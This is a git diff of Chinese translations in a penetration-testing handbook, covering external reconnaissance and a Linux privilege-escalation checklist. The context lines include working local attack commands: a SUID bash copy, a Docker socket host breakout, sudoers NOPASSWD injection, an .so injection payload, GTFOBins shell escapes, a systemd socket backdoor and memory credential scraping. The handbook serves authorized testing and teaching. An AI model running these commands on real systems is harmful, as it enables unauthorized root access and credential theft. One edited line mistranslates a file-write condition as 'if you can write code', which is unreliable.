+你可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新的子域名**，[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。
### **寻找漏洞**
-检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
+检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
如果 **子域名** 指向某个 **S3 桶**，[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
如果你发现任何 **子域名的 IP 与** 你在资产发现中已经找到的不同，你应该进行 **基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务，你可以在 **本书中找到一些“攻击”它们的技巧**。\
@@ -482,19 +482,19 @@ _请注意，有时子域名托管在不受客户控制的 IP 内，因此不在
> 我们已经找到了所有公司及其资产，并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。
-在之前的步骤中，你可能已经对发现的 IP 和域名进行了某些 **侦察**，因此你可能 **已经找到了所有可能的网络服务器**。然而，如果你还没有，我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。
+在之前的步骤中，你可能已经对发现的 **IP 和域名进行了某些侦察**，因此你可能 **已经找到了所有可能的网络服务器**。然而，如果你还没有，我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。
-请注意，这将是 **面向网络应用发现** 的，因此你也应该 **进行漏洞** 和 **端口扫描**（如果范围允许的话）。
+请注意，这将是 **面向网络应用发现** 的，因此你也应该 **进行漏洞** 和 **端口扫描**（**如果范围允许**）。
一种 **快速方法** 是使用 [**masscan** 在这里发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/index.html#http-port-discovery)。\
-另一个友好的工具是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表，它将尝试连接到 80（http）和 443（https）端口。此外，你可以指示尝试其他端口：
+另一个友好的工具来查找网络服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表，它将尝试连接到 80 端口（http）和 443 端口（https）。此外，你可以指示尝试其他端口：
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **截图**
-现在你已经发现了范围内的**所有网络服务器**（包括公司的**IP**和所有的**域名**及**子域名**），你可能**不知道从哪里开始**。所以，让我们简单一点，先对它们进行截图。仅仅通过**查看****主页**，你就可以找到更**容易**被**利用**的**奇怪**端点。
+现在你已经发现了范围内的**所有网络服务器**（包括公司的**IP**和所有的**域名**及**子域名**），你可能**不知道从哪里开始**。所以，让我们简单一点，开始对它们进行截图。仅仅通过**查看****主页**，你就可以找到更**容易**被**利用**的**奇怪**端点。
为了执行这个提议，你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
@@ -502,9 +502,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 公有云资产
-为了找到属于公司的潜在云资产，你应该**从一份识别该公司的关键词列表开始**。例如，对于一家加密公司，你可以使用以下词汇：“`crypto`”、“`wallet`”、“`dao`”、“``”、“``”。
+为了找到属于公司的潜在云资产，你应该**从一份识别该公司的关键词列表开始**。例如，对于一家加密公司，你可以使用以下词汇：“`"crypto", "wallet", "dao", "", <"subdomain_names">`”。
-你还需要一些**常用词汇的字典**，用于存储桶：
+你还需要**常用词汇**的字典，用于存储桶：
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
@@ -553,7 +553,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\
你可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**，并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
-**Leakos** 也可以用于对所有**文本**提供的**URL**运行**gitleaks**，因为有时**网页中也包含秘密**。
+**Leakos** 还可以用于对所有**提供的URL文本**运行**gitleaks**，因为有时**网页也包含秘密**。
#### Github Dorks
@@ -570,9 +570,9 @@ github-leaked-secrets.md
### Google Dorks
-老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此，你可以选择你最喜欢的10个，或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们**。
+老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此，你可以选择你最喜欢的10个，或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。
-_请注意，期望使用常规Google浏览器运行整个数据库的工具将永远无法完成，因为Google会很快封锁你。_
+_请注意，期望使用常规Google浏览器运行所有数据库的工具将永远无法完成，因为Google会很快封锁你。_
### **寻找漏洞**
@@ -594,36 +594,36 @@ _请注意，期望使用常规Google浏览器运行整个数据库的工具将
## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/index.html)
-**大多数漏洞**都是由漏洞猎人发现的，存在于**网络应用程序**中，因此在这一点上，我想谈谈**网络应用程序测试方法论**，你可以在 [**这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。
+**大多数漏洞**都是由漏洞猎人发现的，存在于**网络应用程序**中，因此在这一点上，我想谈谈**网络应用程序测试方法论**，你可以 [**在这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。
-我还想特别提到 [**Web自动化扫描器开源工具**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分，因为虽然你不应该指望它们能找到非常敏感的漏洞，但它们在**工作流程中提供一些初步的网络信息**时非常有用。
+我还想特别提到 [**开源工具的网络自动化扫描器**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分，因为，虽然你不应该指望它们找到非常敏感的漏洞，但它们在**工作流程中实现一些初步的网络信息**时非常有用。
## 综述
-> 恭喜！到目前为止，你已经完成了**所有基本枚举**。是的，这很基础，因为还有更多的枚举可以进行（稍后会看到更多技巧）。
+> 恭喜！到目前为止，你已经完成了**所有基本的枚举**。是的，这很基础，因为还有很多其他的枚举可以进行（稍后会看到更多技巧）。
所以你已经：
1. 找到了范围内的**所有公司**
2. 找到了属于公司的**所有资产**（并在范围内进行了一些漏洞扫描）
3. 找到了属于公司的**所有域名**
-4. 找到了所有域名的**子域名**（是否有子域名接管？）
+4. 找到了域名的**所有子域名**（是否有子域名接管？）
5. 找到了范围内的**所有IP**（来自和**不来自CDN**的IP）。
-6. 找到了所有的**网络服务器**并对它们进行了**截图**（是否有任何奇怪的地方值得深入研究？）
+6. 找到了**所有网络服务器**并对它们进行了**截图**（是否有任何奇怪的地方值得深入研究？）
7. 找到了属于公司的**所有潜在公共云资产**。
8. **电子邮件**、**凭证泄露**和**秘密泄露**，这些可能会给你带来**非常轻松的重大胜利**。
9. **渗透测试你找到的所有网站**
-## **全面侦查自动化工具**
+## **全自动侦查工具**
-有几种工具可以执行针对特定范围的部分提议操作。
+有几种工具可以执行针对给定范围的部分提议操作。
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
- [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点旧且未更新
-## **参考资料**
+## **参考文献**
- 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程，如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI)
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 9d779ef4a..5daebd3d1 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -45,7 +45,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)（在受害者上执行，仅检查内核 2.x 的漏洞）
-始终**在 Google 中搜索内核版本**，也许您的内核版本在某些内核漏洞中被写入，这样您就可以确定该漏洞是有效的。
+始终**在 Google 中搜索内核版本**，也许您的内核版本在某个内核漏洞中被写入，这样您就可以确定该漏洞是有效的。
### CVE-2016-5195 (DirtyCow)
@@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
```
## Docker Breakout
-如果你在一个docker容器内，你可以尝试逃离它：
+如果您在 docker 容器内，可以尝试从中逃脱：
{{#ref}}
docker-security/
@@ -131,7 +131,7 @@ docker-security/
## Drives
-检查**哪些是挂载和未挂载的**，在哪里以及为什么。如果有任何未挂载的，你可以尝试挂载它并检查私人信息。
+检查 **已挂载和未挂载的内容**，以及挂载的位置和原因。如果有任何未挂载的内容，您可以尝试挂载它并检查私人信息。
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -150,7 +150,7 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
```
### 安装的易受攻击软件
-检查**已安装软件包和服务的版本**。可能存在某些旧版的Nagios（例如），可以被利用来提升权限…\
+检查**已安装软件包和服务的版本**。可能存在某些旧版本的Nagios（例如），可以利用这些版本来提升权限…\
建议手动检查更可疑的已安装软件的版本。
```bash
dpkg -l #Debian
@@ -158,7 +158,7 @@ rpm -qa #Centos
```
如果您可以访问机器的SSH，您还可以使用 **openVAS** 检查机器上安装的过时和易受攻击的软件。
-> [!NOTE] > _请注意，这些命令将显示大量信息，其中大部分将是无用的，因此建议使用一些应用程序，如OpenVAS或类似工具，检查任何已安装的软件版本是否易受已知漏洞的攻击_
+> [!NOTE] > _请注意，这些命令将显示大量信息，这些信息大多是无用的，因此建议使用一些应用程序，如OpenVAS或类似工具，检查任何已安装的软件版本是否易受已知漏洞的攻击_
## Processes
@@ -169,7 +169,7 @@ ps -ef
top -n 1
```
始终检查可能正在运行的 [**electron/cef/chromium debuggers**，您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\
-还要**检查您对进程二进制文件的权限**，也许您可以覆盖某个用户。
+还要**检查您对进程二进制文件的权限**，也许您可以覆盖某些内容。
### 进程监控
@@ -230,7 +230,7 @@ rm $1*.bin
```
#### /dev/mem
-`/dev/mem` 提供对系统 **物理** 内存的访问，而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\
+`/dev/mem` 提供对系统 **物理** 内存的访问，而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\
通常，`/dev/mem` 仅对 **root** 和 **kmem** 组可读。
```
strings /dev/mem -n10 | grep -i PASS
@@ -290,14 +290,14 @@ strings *.dump | grep -i password
该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 将 **从内存中窃取明文凭据** 和一些 **知名文件**。它需要 root 权限才能正常工作。
-| 特性 | 进程名称 |
-| ---------------------------------------------- | ---------------- |
-| GDM 密码（Kali 桌面，Debian 桌面） | gdm-password |
-| Gnome 密钥环（Ubuntu 桌面，ArchLinux 桌面） | gnome-keyring-daemon |
-| LightDM（Ubuntu 桌面） | lightdm |
-| VSFTPd（活动 FTP 连接） | vsftpd |
-| Apache2（活动 HTTP 基本认证会话） | apache2 |
-| OpenSSH（活动 SSH 会话 - Sudo 使用） | sshd: |
+| 特性 | 进程名称 |
+| ---------------------------------------------- | -------------------- |
+| GDM 密码（Kali 桌面，Debian 桌面） | gdm-password |
+| Gnome Keyring（Ubuntu 桌面，ArchLinux 桌面） | gnome-keyring-daemon |
+| LightDM（Ubuntu 桌面） | lightdm |
+| VSFTPd（活动 FTP 连接） | vsftpd |
+| Apache2（活动 HTTP 基本认证会话） | apache2 |
+| OpenSSH（活动 SSH 会话 - Sudo 使用） | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-如果由 root 执行的脚本使用一个 **您拥有完全访问权限的目录**，那么删除该文件夹并 **创建一个指向另一个由您控制的脚本的符号链接文件夹** 可能会很有用。
+如果由 root 执行的脚本使用一个 **您拥有完全访问权限的目录**，那么删除该文件夹并 **创建一个指向另一个文件夹的符号链接**，该文件夹中包含您控制的脚本，可能会很有用。
```bash
ln -d -s
```
@@ -419,12 +419,12 @@ Unit=backdoor.service
```
在文档中，您可以阅读单位的定义：
-> 当此计时器到期时要激活的单位。参数是单位名称，其后缀不是“.timer”。如果未指定，则此值默认为与计时器单位同名的服务，除了后缀外。（见上文。）建议激活的单位名称和计时器单位的名称在后缀之外是相同的。
+> 当此计时器到期时要激活的单位。参数是单位名称，其后缀不是“.timer”。如果未指定，则此值默认为与计时器单位同名的服务，后缀除外。（见上文。）建议激活的单位名称和计时器单位的名称在后缀之外是相同的。
因此，要滥用此权限，您需要：
- 找到某个 systemd 单元（如 `.service`），该单元正在 **执行一个可写的二进制文件**
-- 找到某个 systemd 单元，该单元正在 **执行一个相对路径**，并且您对 **systemd PATH** 具有 **可写权限**（以冒充该可执行文件）
+- 找到某个 systemd 单元，该单元正在 **执行一个相对路径**，并且您对 **systemd PATH** 具有 **可写权限**（以伪装该可执行文件）
**了解有关计时器的更多信息，请使用 `man systemd.timer`。**
@@ -435,30 +435,30 @@ Unit=backdoor.service
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
-注意 **定时器** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来 **激活** 的。
+注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来 **激活** 的。
-## 套接字
+## Sockets
-Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同机器上的 **进程通信** 成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信，并通过 `.socket` 文件进行设置。
+Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之间的客户端-服务器模型中成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信，并通过 `.socket` 文件进行设置。
-套接字可以使用 `.socket` 文件进行配置。
+可以使用 `.socket` 文件配置套接字。
**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中，可以配置几个有趣的参数：
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同，但总结用于 **指示它将监听的位置**（AF_UNIX 套接字文件的路径，监听的 IPv4/6 和/或端口号等）
-- `Accept`: 接受一个布尔参数。如果 **true**，则 **为每个传入连接生成一个服务实例**，并且仅将连接套接字传递给它。如果 **false**，则所有监听套接字本身都被 **传递给启动的服务单元**，并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO，此值被忽略，因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因，建议仅以适合 `Accept=no` 的方式编写新的守护进程。
-- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行，这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名，后面跟着进程的参数。
+- `Accept`: 接受一个布尔参数。如果 **true**，则 **为每个传入连接生成一个服务实例**，并且仅将连接套接字传递给它。如果 **false**，则所有监听套接字本身都被 **传递给启动的服务单元**，并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO，此值被忽略，因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因，建议仅以适合 `Accept=no` 的方式编写新守护进程。
+- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行，这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名，后面跟随进程的参数。
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的附加 **命令**。
-- `Service`: 指定 **在传入流量** 上 **激活** 的 **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务（后缀被替换）。在大多数情况下，不需要使用此选项。
+- `Service`: 指定 **在传入流量上激活的** 服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务（后缀被替换）。在大多数情况下，不需要使用此选项。
### 可写的 .socket 文件
-如果您发现一个 **可写** 的 `.socket` 文件，您可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容，后门将在套接字创建之前执行。因此，您 **可能需要等到机器重启。**\
+如果您发现一个 **可写** 的 `.socket` 文件，可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容，后门将在套接字创建之前执行。因此，您 **可能需要等到机器重启。**\
_请注意，系统必须使用该套接字文件配置，否则后门将不会被执行_
### 可写套接字
-如果您 **识别到任何可写套接字**（_现在我们谈论的是 Unix 套接字，而不是配置 `.socket` 文件_），那么 **您可以与该套接字进行通信**，并可能利用一个漏洞。
+如果您 **识别到任何可写套接字**（_现在我们谈论的是 Unix 套接字，而不是配置 `.socket` 文件_），那么 **您可以与该套接字通信**，并可能利用一个漏洞。
### 枚举 Unix 套接字
```bash
@@ -485,7 +485,7 @@ socket-command-injection.md
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-如果套接字 **响应一个 HTTP** 请求，那么你可以 **与其通信**，并可能 **利用某些漏洞**。
+如果套接字 **响应一个 HTTP** 请求，那么你可以 **与之通信**，并可能 **利用某些漏洞**。
### 可写的 Docker 套接字
@@ -493,7 +493,7 @@ Docker 套接字，通常位于 `/var/run/docker.sock`，是一个关键文件
#### **使用 Docker CLI 提升权限**
-如果你对 Docker 套接字具有写入权限，可以使用以下命令提升权限：
+如果你对 Docker 套接字具有写入权限，你可以使用以下命令提升权限：
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@@ -579,7 +579,7 @@ D-Bus 基于 **允许/拒绝模型**，根据匹配策略规则的累积效果
```
### SUID 二进制文件 – .so 注入
-当遇到一个具有 **SUID** 权限且看起来不寻常的二进制文件时，验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查：
+当遇到一个具有 **SUID** 权限的二进制文件且看起来不寻常时，验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查：
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
-例如，遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示，表明存在潜在的利用可能性。
+例如，遇到错误 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 表明存在利用的潜力。
-为了利用这一点，可以创建一个 C 文件，比如 _"/path/to/.config/libcalc.c"_，其中包含以下代码：
+要利用这一点，可以通过创建一个 C 文件，例如 _"/path/to/.config/libcalc.c"_，其中包含以下代码：
```c
#include
#include
@@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-此代码在编译和执行后，旨在通过操纵文件权限并以提升的权限执行 shell 来提升特权。
+此代码在编译和执行后，旨在通过操纵文件权限并以提升的权限执行一个 shell 来提升特权。
使用以下命令将上述 C 文件编译为共享对象 (.so) 文件：
```bash
@@ -894,7 +894,7 @@ system("/bin/bash -p");
[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表，攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则是针对只能 **注入参数** 的命令的相同列表。
-该项目收集了可以被滥用的 Unix 二进制文件的合法功能，以打破受限的 shell，提升或维持提升的权限，传输文件，生成绑定和反向 shell，并促进其他后期利用任务。
+该项目收集了可以被滥用的 Unix 二进制文件的合法功能，以突破受限的 shell，提升或维持提升的权限，传输文件，生成绑定和反向 shell，并促进其他后期利用任务。
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -920,15 +920,15 @@ https://gtfoargs.github.io/
提升权限的要求：
- 您已经以用户 "_sampleuser_" 拥有一个 shell
-- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作（默认情况下，这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间）
-- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0
+- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作（默认情况下，这是允许我们使用 `sudo` 而不输入任何密码的 sudo 令牌的持续时间）
+- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0
- `gdb` 可访问（您可以上传它）
（您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`，或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来实现）
如果满足所有这些要求，**您可以使用以下方法提升权限：** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**（您不会自动获得 root shell，请执行 `sudo su`）：
+- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **激活您会话中的 sudo 令牌**（您不会自动获得 root shell，请执行 `sudo su`）：
```bash
bash exploit.sh
/tmp/activate_sudo_token
@@ -959,7 +959,7 @@ sudo su
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
-如果你会写，你就可以滥用这个权限。
+如果你会写代码，你就可以滥用这个权限。
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@@ -1006,7 +1006,7 @@ sudo ls
这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**，在这些文件夹中将 **搜索** **库**。例如，`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib`。**这意味着系统将在 `/usr/local/lib` 内搜索库**。
-如果由于某种原因 **用户对任何指示的路径具有写权限**：`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹，他可能能够提升权限。\
+如果出于某种原因 **用户对任何指示的路径具有写权限**：`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹，他可能能够提升权限。\
请查看 **如何利用此错误配置** 在以下页面：
{{#ref}}
@@ -1062,7 +1062,7 @@ linux-capabilities.md
## ACLs
-访问控制列表（ACLs）代表了可选择权限的第二层，能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户（非所有者或组成员）访问文件或目录，从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
+访问控制列表（ACLs）代表了可自由裁量权限的第二层，能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户（非所有者或组成员）访问文件或目录，从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
**给予**用户“kali”对文件的读取和写入权限：
```bash
@@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
-SSH代理转发允许您**使用本地SSH密钥而不是将密钥**（没有密码短语！）放在服务器上。因此，您将能够**通过ssh跳转到一个主机**，然后从那里**跳转到另一个**主机，**使用**位于您**初始主机**中的**密钥**。
+SSH代理转发允许您**使用本地SSH密钥而不是将密钥**（没有密码短语！）放在服务器上。因此，您将能够**通过ssh跳转到一个主机**，然后从那里**跳转到另一个**主机**，使用**位于您**初始主机**中的**密钥**。
您需要在`$HOME/.ssh.config`中设置此选项，如下所示：
```
@@ -1161,9 +1161,9 @@ ForwardAgent yes
注意，如果 `Host` 是 `*`，每次用户跳转到不同的机器时，该主机将能够访问密钥（这是一种安全问题）。
文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\
-文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发（默认是允许）。
+文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发（默认是允许）。
-如果您发现转发代理在某个环境中被配置，请阅读以下页面，因为 **您可能能够利用它来提升权限**：
+如果您发现转发代理在某个环境中配置，请阅读以下页面，因为 **您可能能够利用它来提升权限**：
{{#ref}}
ssh-forward-agent-exploitation.md
@@ -1177,11 +1177,11 @@ ssh-forward-agent-exploitation.md
```bash
ls -l /etc/profile /etc/profile.d/
```
-如果发现任何奇怪的配置文件脚本，您应该检查其中的 **敏感信息**。
+如果发现任何奇怪的配置文件脚本，您应该检查其中是否包含**敏感细节**。
### Passwd/Shadow 文件
-根据操作系统的不同，`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称，或者可能有备份。因此，建议 **找到所有这些文件** 并 **检查您是否可以读取** 它们，以查看 **文件中是否有哈希**：
+根据操作系统的不同，`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称，或者可能有备份。因此，建议**找到所有这些文件**并**检查您是否可以读取**它们，以查看**文件中是否包含哈希**：
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@@ -1216,7 +1216,7 @@ su - dummy
```
注意：在BSD平台上，`/etc/passwd`位于`/etc/pwd.db`和`/etc/master.passwd`，同时`/etc/shadow`被重命名为`/etc/spwd.db`。
-你应该检查是否可以**写入一些敏感文件**。例如，你能否写入某些**服务配置文件**？
+您应该检查是否可以**写入某些敏感文件**。例如，您能否写入某些**服务配置文件**？
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@@ -1231,7 +1231,7 @@ Group=root
### 检查文件夹
-以下文件夹可能包含备份或有趣的信息：**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**（您可能无法读取最后一个，但可以尝试）
+以下文件夹可能包含备份或有趣的信息：**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**（可能您无法读取最后一个，但可以尝试）
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
@@ -1268,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
-### **脚本/二进制文件在 PATH 中**
+### **在 PATH 中的脚本/二进制文件**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@@ -1291,13 +1291,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### 日志
-如果您可以读取日志，您可能会在其中找到**有趣/机密的信息**。日志越奇怪，可能就越有趣。\
+如果您可以读取日志，您可能会在其中找到**有趣/机密的信息**。日志越奇怪，可能越有趣。\
此外，一些“**错误**”配置（后门？）的**审计日志**可能允许您**在审计日志中记录密码**，正如在这篇文章中所解释的：[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
